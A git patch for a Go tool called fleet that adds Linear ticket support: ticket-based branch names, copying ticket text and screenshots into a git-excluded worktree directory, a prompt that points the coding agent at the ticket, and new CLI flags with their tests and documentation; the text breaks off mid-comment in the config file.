From 4f7c3b5eeb99ec0080f1749cdd6e22aef00d8ddd Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Tue, 18 Aug 2026 10:55:47 +0300 Subject: [PATCH 01/23] feat(linear): start worktrees from Linear tickets MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Type BRZ-3182 in the `w` dialog — or search by words — and fleet names the branch from the ticket, writes it and its screenshots into the worktree, and opens the agent already told to read it and not start yet. Worktrees whose branch already names a ticket get the same treatment, and `fleet wt --ticket` does it from the shell. The core move is fetching one step earlier than expected: materializing the ticket at worktree-creation time means the agent never needs to know the Linear CLI exists. That is why there is no fleet-shipped Linear skill, no Go Linear client, no sidebar badge and no credential — fleet shells out to `linear` the way it already shells out to `gh`, and hands the agent content rather than instructions. Three things that are easy to get wrong, each pinned by a test: - `--json` can never produce images. The CLI returns from its JSON branch before its image downloader runs, so a JSON fetch emits raw 401 uploads.linear.app URLs and writes nothing — structural, and invisible because it still exits 0. Materialize parses the markdown form instead, whose links are already local paths. - A link still pointing at uploads.linear.app means the CLI's downloader failed and swallowed the error, so fleet fetches those itself with a borrowed token. Screenshots therefore reach the agent even on a `linear` build predating the --allow-net fix. - `info/exclude` must be resolved with `rev-parse --git-path`. `info` is on git's shared-path list, so a linked worktree's --git-dir yields a file git never reads: the entry would look installed and exclude nothing. Extensions are recovered by sniffing magic bytes, because the CLI names downloads after alt text — a real PNG lands with no extension at all, and an agent's read tool dispatches on extension. Ticket suggestions live in the existing New branch field rather than a new field or a mode, so the field itself is the literal option and only one thing ever claims Enter. Exactly one highlight exists at a time and the caret lives with it; the shape of what you typed decides the default and never moves the highlight on its own. Lookups are debounced and generation-guarded, since a slower reply would otherwise overwrite the field with the wrong ticket's branch name. Nothing polls: ticket work is event-driven and one-shot, which keeps it clear of workerStallThreshold's already-tight per-repo budget. The single mutation — moving the issue to its team's started state — fires only when a worktree is created from a ticket, never when a later session opens in one. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- CLAUDE.md | 21 +- changelog/unreleased/linear-tickets.md | 6 + cmd/fleet/worktree.go | 151 ++++++++- cmd/fleet/worktree_test.go | 93 ++++++ internal/analytics/events.go | 10 +- internal/config/config.go | 20 ++ internal/git/exclude.go | 109 +++++++ internal/git/exclude_test.go | 128 ++++++++ internal/linear/cli.go | 276 ++++++++++++++++ internal/linear/identifier.go | 140 ++++++++ internal/linear/images.go | 195 +++++++++++ internal/linear/linear.go | 128 ++++++++ internal/linear/linear_test.go | 345 ++++++++++++++++++++ internal/linear/materialize.go | 325 ++++++++++++++++++ internal/linear/materialize_e2e_test.go | 92 ++++++ internal/linear/prompt.go | 86 +++++ internal/linear/testdata/query_v2.json | 92 ++++++ internal/ui/app.go | 62 +++- internal/ui/dialogs.go | 6 + internal/ui/ticket.go | 160 +++++++++ internal/ui/worker_cadence_test.go | 23 ++ internal/ui/workspace_create.go | 12 + internal/ui/workspace_picker.go | 212 ++++++++++-- internal/ui/workspace_picker_ticket.go | 295 +++++++++++++++++ internal/ui/workspace_picker_ticket_test.go | 343 +++++++++++++++++++ 25 files changed, 3281 insertions(+), 49 deletions(-) create mode 100644 changelog/unreleased/linear-tickets.md create mode 100644 internal/git/exclude.go create mode 100644 internal/git/exclude_test.go create mode 100644 internal/linear/cli.go create mode 100644 internal/linear/identifier.go create mode 100644 internal/linear/images.go create mode 100644 internal/linear/linear.go create mode 100644 internal/linear/linear_test.go create mode 100644 internal/linear/materialize.go create mode 100644 internal/linear/materialize_e2e_test.go create mode 100644 internal/linear/prompt.go create mode 100644 internal/linear/testdata/query_v2.json create mode 100644 internal/ui/ticket.go create mode 100644 internal/ui/workspace_picker_ticket.go create mode 100644 internal/ui/workspace_picker_ticket_test.go diff --git a/CLAUDE.md b/CLAUDE.md index 956f65d7..879d8c78 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -47,6 +47,10 @@ cmd/fleet/main.go # CLI entry point cmd/fleet/worktree.go # `fleet worktree ` — worktree + session from the shell cmd/fleet/send.go # `fleet send ` — message a running session from the shell cmd/fleet/skill.go # `fleet skill ` — install the agent skill +internal/linear/ # Linear tickets via the `linear` CLI (fetch, materialize into a worktree, branch naming) +internal/git/exclude.go # .git/info/exclude writer (resolved via `rev-parse --git-path`) +internal/ui/ticket.go # TUI glue: materialize on create, infer from branch, status line +internal/ui/workspace_picker_ticket.go # ticket suggestions inside the `w` dialog's New branch field internal/skill/ # Embedded SKILL.md + per-agent install targets (skill.go, SKILL.md) internal/tmux/tmux.go # Tmux abstraction (create, kill, capture) internal/tmux/pty.go # PTY-based attach with Ctrl+Q detach @@ -128,6 +132,21 @@ chrome-extension/ # Chrome MV3 extension (service worker, manifes - Idle-session suspend (memory-pressure hibernation): a full fleet of `claude --resume` processes (~400MB each) can exhaust RAM/swap and get the shared tmux **server** OOM-killed — taking every session down at once. The background worker's heavy pass runs `maybeSuspendIdleSessions` (throttled ~20s via `lastSuspendSweepAt`): it probes `perfwatch.MemoryPressure()` (platform-split: macOS `kern.memorystatus_vm_pressure_level`, Linux PSI `/proc/pressure/memory` — better OOM signals than "Pages free") plus free swap, where low swap escalates to critical per platform rules (`SwapEscalatesPressure`: trusted outright on macOS's demand-grown swap; on Linux only corroborating a PSI warning, since fixed partitions sit partially used on healthy boxes) and hibernates the most-idle sessions. **Only `StatusIdle` sessions** are ever auto-suspended (never running/waiting/starting/finished). Suspend = `Session.Suspend()`: `clearHookState` + kill the whole tmux session (frees agent process *and* the server's pane buffers) + set `StatusSuspended`; `ClaudeSessionID` is persisted so the conversation survives. **Resume is lazy** — Enter on a suspended row runs `resumeSelected` → `Restart()` (recreates tmux + `--resume `) then attaches. Aggressiveness via `session_suspend_mode` config (`GetSessionSuspendMode`, default `light`): off / light (critical pressure + idle>24h) / balanced (warning+ pressure + idle>4h) / aggressive (warning+ pressure + idle>1h). Every mode gates on memory pressure — nothing is suspended on a healthy machine — see `suspendIdleThreshold`. `StatusSuspended` short-circuits at the top of `UpdateStatus` (its tmux is intentionally gone, so the liveness gates would otherwise flip it to error + crashdump); `UpdateHookStatus` ignores the killed agent's SessionEnd death-rattle while suspended. Excluded from `reloadAll` (never auto-revived) and status-summary pills (like idle). Palette: "Suspend This Session" / "Suspend Idle Sessions Now". First auto-suspend fires a one-time tip explaining what happened (suspended rows render a dim idle-style `·`, so the tip keeps it from reading as a crash). - Snooze (`z`): an attention mute with a deadline — 30m / 1h / 4h / tomorrow 9am, or a typed duration (`15m`, `30h`, `2d`). **Deliberately not a Status and not Suspend.** Not a status because a snoozed session that is *waiting* is still waiting; overwriting `Status` would destroy that and force reconstructing it on wake. Not Suspend because snooze never touches the process (Suspend answers "free my RAM", snooze answers "stop nagging me"), which is what makes it safe to snooze a *running* session. So it's an orthogonal deadline that only the **attention** surfaces consult: the `Space` rotation (`findNext`), the status pills, and the row's dimming. Precedence lives in exactly one place — `snoozeState` (`internal/ui/snooze.go`): origin umbrella → checkout umbrella → the session's own deadline. `BuildFlatItems` resolves it once per session and stamps `SidebarItem.Snooze`, so no downstream caller re-derives it (the jump scan and the pills both read that field). A session's own snooze runs *independently underneath* a group's, so it survives the group waking. **Group snooze is an umbrella, never fanned out onto sessions** — stored in the `snoozed_groups` table keyed in the same space as `collapsed_groups` (`origin:` / repo path), which is why a session created *after* the snooze is muted too. Snoozing a group also collapses it (`setExpanded(key,false)`); waking re-expands, symmetrically. Only the group holding the snooze renders a countdown — children carry a bare `☾` so N of them don't repeat one number N times. Marker is `☾` U+263E, **not** the more obvious `⏾` U+23FE: Menlo (macOS Terminal's default) has no U+23FE glyph and renders a fallback box — the same failure that got U+2B21 rejected for the agent sigils. The suffix comes out of the title's width budget (`reserve` in `renderSessionItem`) rather than bumping the constant, since it's present on only some rows. Expiry rides the ~2s Update tick (`maybeWakeSnoozed`, throttled 15s via `lastSnoozeSweepAt`) — **not** the worker, unlike the idle-suspend sweep, which lives there only because it probes memory pressure; keeping snooze on Update means `h.groupSnooze` needs no lock. Deadlines that lapse while fleet is closed are dropped at load (`FromRow` for sessions, the startup handler for groups). The duration picker (`SnoozeDialog`, `internal/ui/snooze_dialog.go`) is a row-anchored dropdown composited via `overlayAt` like the context menu (no `dimBackdrop`), holding the four presets **plus a free-text duration**. The input is **the row below the last preset** (`focus` indexes presets, with `len(SnoozeDurations)` meaning the input), so `↑↓`/`tab` walk the whole dialog as one selection and `Enter` always acts on whatever carries the highlight — the highlight is the promise. `setFocus` moves the text input's own focus in step, so the caret only blinks where the highlight is. Typing from a preset row jumps to the input **and keeps the keystroke** (`isTypingKey`), so the fast path (open, type `2d`, `Enter`) never needs the arrows. A focused-but-unparseable box refuses rather than falling back to the highlighted preset. `parseSnoozeDuration` takes a **single unit only** (`15m` / `30h` / `2d`, capped at 30d): deliberately not `time.ParseDuration`, which accepts combos and seconds we don't offer and has no notion of days, so its errors would describe a syntax fleet doesn't have. Its error strings are user-facing — they render live in the box. The box is **fixed width and height** (`contentW`); the verdict line swaps between the key hint and the resolved wake time, and a hint long enough to wrap would grow the box a row mid-keystroke (`TestSnoozeDialogHeightIsStable` pins this). Preset rows pad the **raw** text before styling — padding a styled string counts the ANSI bytes and the columns come out ragged. Sidebar-only by design: no global count, no wake toast. - Repo headers show branch name (), dirty indicator (*), and PR badge (#N) +- Linear tickets (`internal/linear`, opt-out-by-absence): starting work from a ticket, with **one** mutation and no credential. Enabled per-repo by two facts already true for anyone using the CLI — `linear` on PATH and a committed `.linear.toml` at the repo root — so a repo without them renders and behaves exactly as before (`TestWorktreeBlankRenderUnchangedWithoutLinear`). fleet reads **`team_id` only** from that file, never `api_key`: the CLI owns auth, which is why this subsystem stores nothing, unlike `claudeaccount`. +- **The core move is fetching one step earlier than you'd expect.** If fleet materializes the ticket at worktree-creation time, the agent never needs to know the Linear CLI exists — which is why fleet ships no Linear skill, no Go Linear client, and no sidebar badge. It hands over content, not instructions. +- **`--json` must never be used for images** (`TestMarkdownFetchNeverUsesJSON`). The CLI returns from its JSON branch *before* its image downloader runs, so a JSON fetch emits raw 401 `uploads.linear.app` URLs and writes nothing — structural, not a bug, and it survives CLI upgrades. `Materialize` runs the **markdown** form instead: under a pipe the CLI skips its ANSI renderer and prints raw markdown whose `![alt](...)` links are already rewritten to local paths. Parse those; never walk `$TMPDIR`, whose layout is an implementation detail. +- **A link still pointing at `uploads.linear.app` is the detector for a broken downloader** — the CLI swallows its own download errors and exits 0 (Homebrew builds before v1.9.1 were compiled without `--allow-net=uploads.linear.app`). fleet then fetches those itself with `Authorization: $(linear auth token)`, borrowed for one request and never stored, and flags `UsedFallback`. So the feature works on an old CLI; upgrading just avoids the slow path. +- **Extensions are recovered, not trusted.** The CLI names downloads `sanitize(alt)`, so a real PNG lands as `Filter bar renders cramped (screenshot)` with no extension — and an agent's file-read tool dispatches on extension, making a perfectly downloaded screenshot unreadable. `detectExt` sniffs magic bytes (`http.DetectContentType`), which also rejects a 401 HTML body that would otherwise sit beside real screenshots. Recovering the extension and rewriting the markdown links are a **matched pair**: fix one and the agent still sees nothing. +- Files land at `/.fleet/ticket//` — inside the worktree so the agent reads them with a relative path and **no permission prompt**, since a prompt on the session's first act renders as `-` waiting, the friction this feature removes. Git exclusion uses `git rev-parse --git-path info/exclude`, **never `--git-dir` + `info/exclude`**: `info` is on git's shared-path list, so a linked worktree's `--git-dir` gives a path git never reads — the entry would look installed and exclude nothing (`TestAddFleetExcludeFromLinkedWorktree` proves it with `check-ignore`). The entry is therefore repo-wide and written once, idempotently, and it is `.gitignore`'s opposite on purpose: `.gitignore` is tracked, so writing it would dirty a fresh worktree and risk committing customer screenshots. +- Branch names are `brz-3182-` (`BranchNameFor`), **not** the CLI's `branchName`, which carries an owner prefix (`alice/brz-3182-…`). Linear links a PR by finding the identifier anywhere in the name, so both link identically; this form matches the convention already on disk. +- Inference is **team-gated** (`IdentifierFromBranch`). The CLI's own `linear issue id` is an ungated regex that reads `fix-123-thing` as `FIX-123` and `release-2024-cleanup` as `RELEASE-2024`, so the gate is what makes a non-ticket branch cost nothing. +- **Nothing polls.** Ticket work is event-driven and one-shot: at worktree creation, and at session creation when the branch names an issue and `.fleet/ticket//` is absent — the directory is the ledger, so it survives restarts and deleting it is the natural "refresh". `TestTicketWorkStaysOffTheWorkers` keeps it out of `refreshAllGitAndPR`, whose `workerStallThreshold` (90s) is already sized against ~70s of git + `gh` per repo; a `linear` call there would make the stall watchdog false-fire. This is only affordable because there is no badge, hence no live state to keep fresh. +- The one mutation is `linear issue update -s started` — matched on state **type** against a position-sorted list, so it works on teams whose started state is called anything. `linear issue start` is forbidden (`TestStateWriteNeverUsesIssueStart`): it also creates its own branch, colliding with the worktree fleet just made. Fires **only on create-from-ticket** (config `linear_ticket_start`, default true), never when a later session opens in an existing worktree — by then a human may have moved the issue to In Review, and dragging it backwards is the worst thing this could do. `meta.json` records `state_write` so it stays exactly-once. +- The seeded prompt is a **short pointer that tells the agent not to start** (`TestSeedPromptTellsAgentNotToStart`), stated at the top and bottom because a first message describing a task reads as an instruction to perform it. Line 1 leads with the identifier before the title because it is three surfaces at once: the agent's instruction, the preview pane's prompt strip, and the input to `naming.GenerateTitle`, which cuts at ~50 runes. It rides `sessionCreateMsg.prompt` -> `Session.InitialPrompt` (a new field; the TUI previously had no way to seed a prompt at all — only `fleet worktree -p` did). +- **Ticket suggestions live in the `w` dialog's existing New branch field, not a new field and not a mode** (`internal/ui/workspace_picker_ticket.go`). The field IS the literal option, so nothing duplicates it and only one thing ever claims Enter. Two rules make that hold: **exactly one highlight, and the caret lives with it** — arrowing onto a ticket blurs the input, typing returns both and keeps the keystroke (`isTypingKey`, borrowed from the snooze dialog, whose "the highlight is the promise" rule this follows); and **shape decides the default, never a mode** — text matching the team's identifier shape resolves *in place* (`LooksLikeIdentifier`), prose stays literal with tickets one down-arrow below. The highlight never moves on its own; a picker that jumps its own selection is the ambiguity coming back through the window. `setSelection` is the single writer of `focus`/`ticketCursor`, enforced by `TestWorktreeSelectionMutatorIsTheOnlyWriter`, because a stray write skips the clamp and renders two selection markers. The footer names what Enter will do and changes as the highlight moves. +- Lookups are **debounced (250ms) and generation-guarded**, never per keystroke — each is a ~0.5s subprocess. Without the generation counter, typing `BRZ-3182` then editing to `BRZ-3184` lets the slower first reply overwrite the field with the wrong ticket's branch name, which then becomes a real git branch (`TestWorktreeStaleTicketReplyIgnored`). The counter is **monotonic and never reset to 0**, unlike `ConfirmDialog.scanGen` — that one lives on `Home` and never recycles; a per-dialog counter reset to zero would let a reply from a previous open match a new one. `d.loading` is deliberately not used for ticket lookups: it swallows every key but `esc`. +- Degradation is structural: no binary, no `.linear.toml`, unauthenticated, offline, unknown id, or nothing matching — every case leaves Enter working and the dialog usable (`TestWorktreeEnterAlwaysCreates`). Persistent failures latch (`ticketsOff`) so a broken CLI isn't re-forked on every pause. Once the worktree exists nothing may fail the caller: `Materialize` sits beside `copyClaudeSettingsFile` and `CopyConfiguredFiles` and shares their posture, and a failed fetch costs the prompt, never the session. +- `fleet worktree --ticket ` (`-t`) mirrors the TUI and names the branch when no branch is given. **Conflicts with `-p`** — both set the first message and say opposite things — but is **allowed with `--no-session`**, unlike `-p`: a promptless session is meaningless, a materialized git-excluded ticket directory is not. A bad identifier fails *before* anything is created, the same line `-p -` draws. - Git info refreshes every 2s (branch/dirty), PR info every 60s via `gh` CLI - PR badge: green ✓ (approved+CI passed), yellow (pending), red ✕ (CI fail) / ↩ (changes requested or unresolved threads), purple ⇡ (merged), gray ◌ (draft; ✕ appended on CI fail), hidden (closed) - PR info includes unresolved review thread count via GitHub GraphQL API @@ -141,7 +160,7 @@ chrome-extension/ # Chrome MV3 extension (service worker, manifes - Hook handler: `fleet hook-handler` (invoked by Claude Code hooks, reads FLEET_INSTANCE_ID env) - Hooks auto-installed into `~/.claude/settings.json` on TUI launch - Debug log: `~/.config/fleet/debug.log` (slog, init in TUI and hook-handler) -- Config file: `~/.config/fleet/config.json` (tick_interval_sec, default_project_path, editor, theme, auto_name_sessions, copy_claude_settings, confirm_before_restart, origin_delete_removes_worktrees, drawer_height, session_suspend_mode, account_strategy, default_account, allowed_accounts) +- Config file: `~/.config/fleet/config.json` (tick_interval_sec, default_project_path, editor, theme, auto_name_sessions, copy_claude_settings, confirm_before_restart, origin_delete_removes_worktrees, drawer_height, session_suspend_mode, account_strategy, default_account, allowed_accounts, linear_ticket_start) - Claude accounts: `~/.config/fleet/accounts.json` (0600) records emails/orgs/config-dir paths; the logins themselves live in the macOS Keychain, one item per account dir. Per-account Claude Code homes: `~/.config/fleet/accounts/<8hex>/` - Workspace: built-in git worktree support (zero config), per-repo `.fleet.json` (or legacy `.bc.json`) overrides with custom shell commands - Workspace creation is non-blocking: dialog closes immediately, phantom "Creating..." entry with spinner appears in sidebar, user can keep navigating diff --git a/changelog/unreleased/linear-tickets.md b/changelog/unreleased/linear-tickets.md new file mode 100644 index 00000000..232ff132 --- /dev/null +++ b/changelog/unreleased/linear-tickets.md @@ -0,0 +1,6 @@ +--- +type: added +highlight: true +--- + +**Start a worktree from a Linear ticket.** Type `BRZ-3182` in the `w` dialog — or search by words — and fleet names the branch from the ticket, writes it and its screenshots into the worktree, and opens the agent already told to read it and not start yet. Existing worktrees whose branch names a ticket get the same treatment, and `fleet wt --ticket BRZ-3182` does it from the shell. Screenshots reach the agent even on a `linear` CLI too old to download them. diff --git a/cmd/fleet/worktree.go b/cmd/fleet/worktree.go index a42682ad..2feed856 100644 --- a/cmd/fleet/worktree.go +++ b/cmd/fleet/worktree.go @@ -9,6 +9,7 @@ import ( "os" "os/exec" "path/filepath" + "regexp" "slices" "strings" "time" @@ -19,6 +20,7 @@ import ( "github.com/brizzai/fleet/internal/debuglog" "github.com/brizzai/fleet/internal/git" "github.com/brizzai/fleet/internal/hooks" + "github.com/brizzai/fleet/internal/linear" "github.com/brizzai/fleet/internal/migration" "github.com/brizzai/fleet/internal/session" "github.com/brizzai/fleet/internal/tmux" @@ -31,6 +33,11 @@ const worktreeUsage = "Usage: fleet worktree [flags]" // usage line alongside it, so the message itself stays a plain error string. var errMissingBranch = errors.New("missing branch name") +// ticketIDRe validates a Linear identifier shape before anything is created. +// Deliberately checked here rather than deferred: a typo'd ticket should fail +// while the worktree still doesn't exist. +var ticketIDRe = regexp.MustCompile(`^[A-Z][A-Z0-9]{0,9}-\d{1,7}$`) + // worktreeOpts holds the parsed `fleet worktree` invocation. Base and agent are // left empty when unset; their defaults depend on the repo (default branch) and // the user's config (default agent), which parsing can't see. @@ -44,6 +51,13 @@ type worktreeOpts struct { // prompt is the raw flag value, which may still be "-" for stdin. Reading // stdin is I/O, and parsing stays pure — runWorktree resolves it. prompt string + // ticket is a Linear issue identifier. It names the branch when no branch + // is given, and materializes the issue (with its screenshots) into the new + // worktree so the agent opens having been pointed at it. + ticket string + // noTicketStart opts out of the one mutation fleet makes: moving the issue + // to its team's first started state. + noTicketStart bool } // worktreeFlagSet builds the `fleet worktree` flag set, binding into o. @@ -64,6 +78,9 @@ func worktreeFlagSet(o *worktreeOpts) *flag.FlagSet { fs.BoolVar(&o.noSession, "no-session", false, "create the worktree only, print its path, and start no session") fs.StringVar(&o.prompt, "prompt", "", "first message for the agent, which it starts working on (use - to read stdin)") fs.StringVar(&o.prompt, "p", "", "shorthand for -prompt") + fs.StringVar(&o.ticket, "ticket", "", "Linear issue to materialize into the worktree, e.g. BRZ-3182 (names the branch when none is given)") + fs.StringVar(&o.ticket, "t", "", "shorthand for -ticket") + fs.BoolVar(&o.noTicketStart, "no-ticket-start", false, "don't move the Linear issue to its team's first started state") return fs } @@ -97,28 +114,40 @@ func parseWorktreeArgs(args []string) (worktreeOpts, error) { rest = remaining[1:] } - if len(positional) == 0 { + // Which flags were actually given. fs.Visit is the only thing separating + // `-ticket ''` from `-ticket` not given: both leave the value empty. + var promptSet, ticketSet bool + fs.Visit(func(f *flag.Flag) { + switch f.Name { + case "prompt", "p": + promptSet = true + case "ticket", "t": + ticketSet = true + } + }) + o.ticket = strings.ToUpper(strings.TrimSpace(o.ticket)) + + // Checked before the missing-branch case: `-ticket "$(lookup)"` that + // produced nothing would otherwise report "missing branch name", which + // describes a symptom of the real problem rather than the problem. + if ticketSet && o.ticket == "" { + return o, fmt.Errorf("-ticket was empty") + } + if len(positional) == 0 && o.ticket == "" { return o, errMissingBranch } if len(positional) > 1 { return o, fmt.Errorf("unexpected argument %q — expected a single branch name", positional[1]) } - o.branch = strings.TrimSpace(positional[0]) - - if msg := workspace.ValidateBranchName(o.branch); msg != "" { - return o, fmt.Errorf("%s", msg) + if len(positional) == 1 { + o.branch = strings.TrimSpace(positional[0]) + if msg := workspace.ValidateBranchName(o.branch); msg != "" { + return o, fmt.Errorf("%s", msg) + } } // An explicitly empty prompt is almost always a command substitution that // failed — `-p "$(gh issue view 999)"` on a missing issue. Silently starting - // a session with no prompt would look like the flag isn't wired up, so say - // so. fs.Visit is what separates "-p ''" from "-p not given": both leave the - // value empty. - promptSet := false - fs.Visit(func(f *flag.Flag) { - if f.Name == "prompt" || f.Name == "p" { - promptSet = true - } - }) + // a session with no prompt would look like the flag isn't wired up, so say so. if promptSet { if strings.TrimSpace(o.prompt) == "" { return o, fmt.Errorf("-prompt was empty") @@ -128,6 +157,25 @@ func parseWorktreeArgs(args []string) (worktreeOpts, error) { } } o.prompt = strings.TrimSpace(o.prompt) + + if ticketSet { + if !ticketIDRe.MatchString(o.ticket) { + return o, fmt.Errorf("not a Linear issue identifier: %q — expected something like BRZ-3182", o.ticket) + } + // Both set the agent's first message, and they say opposite things: + // -prompt means "start working on this", -ticket means "read this and + // do not start". Concatenating them yields an agent that does neither. + if promptSet { + return o, fmt.Errorf("-prompt and -ticket both set the agent's first message, and they " + + "say opposite things (-ticket tells the agent not to start working yet) — pick one") + } + } else if o.noTicketStart { + return o, fmt.Errorf("-no-ticket-start has no effect without -ticket") + } + // Note -ticket IS allowed with -no-session, unlike -prompt: a prompt with no + // session is meaningless, but a materialized, git-excluded ticket directory + // is useful on its own. + // agent.Parse falls back to Claude for anything it doesn't recognize, so a // typo would silently launch the wrong agent. Reject it here instead. if o.agentName != "" { @@ -297,6 +345,37 @@ func runWorktree(args []string) { } } + // Phase A: when -ticket named no branch, the fetch is required to name one, + // so it may fail hard — and it does so while nothing has been created yet, + // the same line `-p -` already draws. With an explicit branch this is + // skipped and any later ticket failure is soft. + var ticket *linear.Ticket + if opts.ticket != "" { + ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) + t, ferr := linear.Fetch(ctx, repoPath, opts.ticket) + cancel() + switch { + case ferr != nil && opts.branch == "": + fmt.Fprintf(os.Stderr, "Couldn't read %s: %v\n", opts.ticket, ferr) + os.Exit(1) + case ferr != nil: + fmt.Fprintf(os.Stderr, "Couldn't read %s: %v — creating the worktree anyway.\n", opts.ticket, ferr) + default: + ticket = &t + fmt.Fprintf(os.Stderr, "Fetched %s — %s\n", t.Identifier, t.Title) + if opts.branch == "" { + opts.branch = linear.BranchNameFor(t.Identifier, t.Title) + if msg := workspace.ValidateBranchName(opts.branch); msg != "" { + fmt.Fprintf(os.Stderr, "Derived branch %q is not valid: %s\n", opts.branch, msg) + os.Exit(1) + } + } + } + if opts.branch == "" { + opts.branch = strings.ToLower(opts.ticket) + } + } + name := workspace.SanitizeBranchName(opts.branch) provider := workspace.ResolveProvider(repoPath) if !provider.CanCreate() { @@ -345,6 +424,31 @@ func runWorktree(args []string) { } workspace.CopyConfiguredFiles(repoPath, info.Path) + // Phase B: past this point the worktree exists, so nothing may exit + // non-zero — same contract as the two file copies above. + if ticket != nil { + ctx, cancel := context.WithTimeout(context.Background(), 90*time.Second) + res, merr := linear.Materialize(ctx, linear.Opts{ + RepoDir: repoPath, + WorktreePath: info.Path, + Identifier: ticket.Identifier, + Ticket: *ticket, + MoveState: cfg.IsLinearTicketStartEnabled() && !opts.noTicketStart, + }) + cancel() + if merr != nil { + fmt.Fprintf(os.Stderr, "Couldn't materialize %s: %v\n", ticket.Identifier, merr) + } else { + fmt.Fprintf(os.Stderr, "Wrote %s (%s)%s\n", res.RelDir, describeTicketFiles(res), fallbackNote(res)) + if res.StateMoved != "" { + fmt.Fprintf(os.Stderr, "Moved %s to its team's started state\n", res.Identifier) + } + if prompt == "" { + prompt = res.Prompt + } + } + } + // --no-session prints the path and nothing else, so the command composes: // cd "$(fleet worktree my-branch --no-session)" if opts.noSession { @@ -512,3 +616,22 @@ func accountAllowed(email string, allowed []string) bool { } return slices.Contains(allowed, email) } + +// describeTicketFiles summarizes what landed on disk, so the echo-back is +// specific rather than a bare "wrote it". +func describeTicketFiles(r linear.Result) string { + if r.Images == 0 { + return "ticket.md, no images" + } + return fmt.Sprintf("ticket.md + %d image(s)", r.Images) +} + +// fallbackNote names the degraded path when fleet had to fetch the screenshots +// itself. Worth saying out loud: it means the installed `linear` is old enough +// that its own downloader is broken, and every ticket pays the slow path. +func fallbackNote(r linear.Result) string { + if !r.UsedFallback { + return "" + } + return " — fetched directly; upgrade with `brew upgrade schpet/tap/linear`" +} diff --git a/cmd/fleet/worktree_test.go b/cmd/fleet/worktree_test.go index a9c16591..5efa8e57 100644 --- a/cmd/fleet/worktree_test.go +++ b/cmd/fleet/worktree_test.go @@ -194,3 +194,96 @@ func TestParseWorktreeArgs(t *testing.T) { } }) } + +func TestParseWorktreeArgsTicket(t *testing.T) { + cases := []struct { + name string + args []string + wantErr string // substring; "" means it must parse + check func(*testing.T, worktreeOpts) + }{ + { + name: "ticket alone names the branch later", + args: []string{"-ticket", "BRZ-3182"}, + check: func(t *testing.T, o worktreeOpts) { + if o.ticket != "BRZ-3182" || o.branch != "" { + t.Errorf("ticket=%q branch=%q", o.ticket, o.branch) + } + }, + }, + { + name: "ticket is upper-cased", + args: []string{"-t", "brz-3182"}, + check: func(t *testing.T, o worktreeOpts) { mustEqual(t, o.ticket, "BRZ-3182") }, + }, + { + name: "explicit branch wins", + args: []string{"my-branch", "-ticket", "BRZ-1"}, + check: func(t *testing.T, o worktreeOpts) { mustEqual(t, o.branch, "my-branch") }, + }, + { + // -ticket "$(lookup)" that produced nothing must not silently + // degrade into an ordinary worktree — same rule as -p ''. + name: "explicitly empty ticket is rejected", + args: []string{"-ticket", ""}, + wantErr: "-ticket was empty", + }, + { + name: "non-identifier is rejected before anything is created", + args: []string{"-ticket", "not-a-ticket"}, + wantErr: "not a Linear issue identifier", + }, + { + // They set the same field and say opposite things. + name: "ticket and prompt conflict", + args: []string{"-ticket", "BRZ-1", "-p", "do the thing"}, + wantErr: "pick one", + }, + { + // Unlike -prompt: a git-excluded ticket dir is useful without a session. + name: "ticket with no-session is allowed", + args: []string{"-ticket", "BRZ-1", "-no-session"}, + check: func(t *testing.T, o worktreeOpts) { mustEqual(t, o.ticket, "BRZ-1") }, + }, + { + name: "no-ticket-start alone is rejected", + args: []string{"branch", "-no-ticket-start"}, + wantErr: "has no effect without -ticket", + }, + { + name: "flags parse on either side", + args: []string{"-ticket", "BRZ-1", "-no-session"}, + check: func(t *testing.T, o worktreeOpts) { mustEqual(t, o.ticket, "BRZ-1") }, + }, + { + name: "no branch and no ticket still errors", + args: []string{}, + wantErr: "missing branch name", + }, + } + + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + o, err := parseWorktreeArgs(c.args) + if c.wantErr != "" { + if err == nil || !strings.Contains(err.Error(), c.wantErr) { + t.Fatalf("err = %v, want it to contain %q", err, c.wantErr) + } + return + } + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if c.check != nil { + c.check(t, o) + } + }) + } +} + +func mustEqual(t *testing.T, got, want string) { + t.Helper() + if got != want { + t.Errorf("got %q, want %q", got, want) + } +} diff --git a/internal/analytics/events.go b/internal/analytics/events.go index a3c857a8..7cacce08 100644 --- a/internal/analytics/events.go +++ b/internal/analytics/events.go @@ -88,9 +88,13 @@ const ( EventBugReportSubmitted = "bug_report_submitted" // Subsystem failures (counters). - EventTmuxCommandFailure = "tmux_command_failure" - EventGitCommandFailure = "git_command_failure" - EventGhCommandFailure = "gh_command_failure" + EventTmuxCommandFailure = "tmux_command_failure" + EventGitCommandFailure = "git_command_failure" + EventGhCommandFailure = "gh_command_failure" + EventLinearCommandFailure = "linear_command_failure" + + // Linear tickets materialized into a worktree. + EventLinearTicketMaterialized = "linear_ticket_materialized" // Onboarding funnel (one-shot per install). EventOnboardingFirstLaunch = "onboarding_first_launch" diff --git a/internal/config/config.go b/internal/config/config.go index 497d1c3f..c15b2ec7 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -65,6 +65,15 @@ type Config struct { // GetSessionSuspendMode. See internal/ui suspend sweep. SessionSuspendMode string `json:"session_suspend_mode,omitempty"` + // LinearTicketStart controls the one mutation fleet ever makes against a + // ticket tracker: moving an issue to its team's first started state when a + // worktree is created from it. Default true — creating a worktree from a + // ticket is an unambiguous "I'm starting this", and without it the board + // stays stale until the first push. Deliberately its own switch rather than + // riding the read path: "fleet writes to my tracker" deserves its own + // consent. Read via IsLinearTicketStartEnabled. + LinearTicketStart *bool `json:"linear_ticket_start,omitempty"` + // AccountStrategy picks which Claude account a new session runs under: // "least_used" (default), "waterfall", or "manual". Read via // GetAccountStrategy. Accounts themselves live in accounts.json, not here — @@ -442,6 +451,17 @@ func (c *Config) IsConfirmBeforeRestartEnabled() bool { return *c.ConfirmBeforeRestart } +// IsLinearTicketStartEnabled reports whether creating a worktree from a Linear +// ticket also moves that ticket to its team's first started state (default: true). +// +// Only the create-from-ticket path consults this. A session opened later in a +// worktree that already exists never re-writes the state: by then a human may +// have moved the issue to In Review, and silently dragging it backwards is the +// worst thing this 